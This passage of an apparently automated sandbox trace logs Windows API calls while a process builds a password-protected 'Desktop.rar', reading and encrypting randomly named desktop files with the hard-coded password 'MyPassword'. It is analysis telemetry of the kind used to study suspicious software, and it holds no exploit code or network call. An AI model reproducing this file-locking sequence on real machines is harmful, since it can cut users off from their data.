lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 13%") returned 5 [0067.405] SetWindowTextW (hWnd=0x102a4, lpString=" 16%") returned 1 [0067.406] GetLastError () returned 0x0 [0067.406] SetLastError (dwErrCode=0x0) [0067.406] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0067.406] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 85%") returned 5 [0067.406] SetWindowTextW (hWnd=0x102a0, lpString=" 98%") returned 1 [0067.406] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x10, lParam=0x0) returned 0xd [0067.406] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.406] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.406] GetFocus () returned 0x102a8 [0067.406] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.407] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.407] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.407] GetFocus () returned 0x102a8 [0067.407] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.407] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.407] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0067.407] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0067.408] GetFocus () returned 0x102a8 [0067.408] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0067.408] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.408] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0xd2a58 [0067.408] SetFilePointer (in: hFile=0x32c, lDistanceToMove=107, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0xd2ac3 [0067.408] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.408] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.408] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.408] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.408] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x28c0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x28c0, lpOverlapped=0x0) returned 1 [0067.408] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0067.408] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0067.408] GetFocus () returned 0x102a8 [0067.409] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0067.410] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.410] SetFilePointer (in: hFile=0x32c, lDistanceToMove=862808, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xd2a58 [0067.410] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0xd2a58 [0067.410] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd30 [0067.410] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0067.410] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb80, Size=0x48) returned 0x1ec0a6577d0 [0067.410] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c980 [0067.410] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef700 [0067.410] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef700, Size=0x48) returned 0x1ec0a656a60 [0067.410] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c980 | out: hHeap=0x1ec0a590000) returned 1 [0067.410] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.410] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0067.410] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef700 [0067.410] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef700 | out: hHeap=0x1ec0a590000) returned 1 [0067.410] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefbb0 | out: hHeap=0x1ec0a590000) returned 1 [0067.410] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd30, Size=0x48) returned 0x1ec0a656f10 [0067.410] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656f10, Size=0x7a) returned 0x1ec0a64a460 [0067.410] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a463*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a463*, lpNumberOfBytesWritten=0xe414d8140*=0x6b, lpOverlapped=0x0) returned 1 [0067.410] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd90 [0067.410] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x6b) returned 0x1ec0a6598f0 [0067.410] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656a60 | out: hHeap=0x1ec0a590000) returned 1 [0067.410] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a460 | out: hHeap=0x1ec0a590000) returned 1 [0067.410] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xd5383 [0067.410] CloseHandle (hObject=0x350) returned 1 [0067.410] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.410] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.410] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.410] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.410] FindFirstFileW (in: lpFileName="IaWqKnXFr.m4a", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.411] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.411] CreateFileW (lpFileName="IaWqKnXFr.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\iawqknxfr.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.411] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.411] GetTickCount () returned 0x26bef [0067.411] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.411] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.411] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.411] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.411] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="Hx3Tlhe_5jId0OJhP6.pptx") returned 23 [0067.411] SetWindowTextW (hWnd=0x1028c, lpString="IaWqKnXFr.m4a") returned 1 [0067.411] GetTickCount () returned 0x26bef [0067.411] UpdateWindow (hWnd=0x10284) returned 1 [0067.412] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.412] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.412] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.412] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.412] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x381)) [0067.412] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.412] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15874057527) returned 1 [0067.412] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0xf028, lpOverlapped=0x0) returned 1 [0067.413] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d914068, nNumberOfBytesToRead=0xf0fd8, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d914068*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.413] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.413] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.413] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0067.413] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.413] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a656b50 [0067.413] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c4c0 [0067.413] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.413] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a6569c0 [0067.413] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c4c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.413] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656b50 | out: hHeap=0x1ec0a590000) returned 1 [0067.413] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd30 [0067.413] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd60 [0067.413] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefd60 | out: hHeap=0x1ec0a590000) returned 1 [0067.413] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefd30 | out: hHeap=0x1ec0a590000) returned 1 [0067.413] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb80, Size=0x48) returned 0x1ec0a656d30 [0067.413] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656d30, Size=0x7a) returned 0x1ec0a64a7c0 [0067.413] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.413] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a7c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.414] GetTickCount () returned 0x26bef [0067.414] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15874221690) returned 1 [0067.414] GetTickCount () returned 0x26bef [0067.414] GetTickCount () returned 0x26bef [0067.414] GetTickCount () returned 0x26bef [0067.414] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.414] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.414] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.415] ResetEvent (hEvent=0x344) returned 1 [0067.415] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.417] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.417] ResetEvent (hEvent=0x344) returned 1 [0067.418] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.419] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.420] GetTickCount () returned 0x26bfe [0067.420] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15874819496) returned 1 [0067.420] GetTickCount () returned 0x26bfe [0067.420] GetTickCount () returned 0x26bfe [0067.420] GetTickCount () returned 0x26bfe [0067.420] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.420] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.420] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.420] ResetEvent (hEvent=0x33c) returned 1 [0067.420] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.421] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.421] ResetEvent (hEvent=0x33c) returned 1 [0067.421] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.422] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.422] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.422] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.422] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0xd5383 [0067.422] SetFilePointer (in: hFile=0x32c, lDistanceToMove=97, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0xd53e4 [0067.422] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.422] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.422] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.422] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.422] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0xf0c0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0xf0c0, lpOverlapped=0x0) returned 1 [0067.423] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.423] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.423] SetFilePointer (in: hFile=0x32c, lDistanceToMove=873347, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xd5383 [0067.423] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0xd5383 [0067.423] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.423] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0067.423] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb80, Size=0x48) returned 0x1ec0a657280 [0067.423] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.423] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.423] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a6573c0 [0067.423] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.423] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657280 | out: hHeap=0x1ec0a590000) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.424] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef700 [0067.424] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef700 | out: hHeap=0x1ec0a590000) returned 1 [0067.424] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.424] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a6569c0 [0067.424] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a649ec0 [0067.424] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a649ec3*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a649ec3*, lpNumberOfBytesWritten=0xe414d8140*=0x61, lpOverlapped=0x0) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd30 [0067.424] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x61) returned 0x1ec0ddfde50 [0067.424] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6573c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.424] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0067.424] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xe44a4 [0067.424] CloseHandle (hObject=0x350) returned 1 [0067.424] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.424] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.424] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.424] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.424] FindFirstFileW (in: lpFileName="Jil3P9aQS_.avi", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.424] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.424] CreateFileW (lpFileName="Jil3P9aQS_.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\jil3p9aqs_.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.424] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.425] GetTickCount () returned 0x26bfe [0067.425] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.425] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.425] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.425] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.425] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="IaWqKnXFr.m4a") returned 13 [0067.425] SetWindowTextW (hWnd=0x1028c, lpString="Jil3P9aQS_.avi") returned 1 [0067.425] GetTickCount () returned 0x26bfe [0067.425] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.425] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.426] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.426] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.426] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x391)) [0067.426] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.426] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15875442238) returned 1 [0067.426] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x93b8, lpOverlapped=0x0) returned 1 [0067.426] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d90e3f8, nNumberOfBytesToRead=0xf6c48, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d90e3f8*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.426] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.426] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.426] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd60 [0067.426] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.426] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a657140 [0067.426] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c740 [0067.426] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.426] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa90, Size=0x48) returned 0x1ec0a6569c0 [0067.426] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c740 | out: hHeap=0x1ec0a590000) returned 1 [0067.426] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657140 | out: hHeap=0x1ec0a590000) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.426] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.426] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef670 | out: hHeap=0x1ec0a590000) returned 1 [0067.426] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0067.426] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd60, Size=0x48) returned 0x1ec0a6577d0 [0067.426] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, 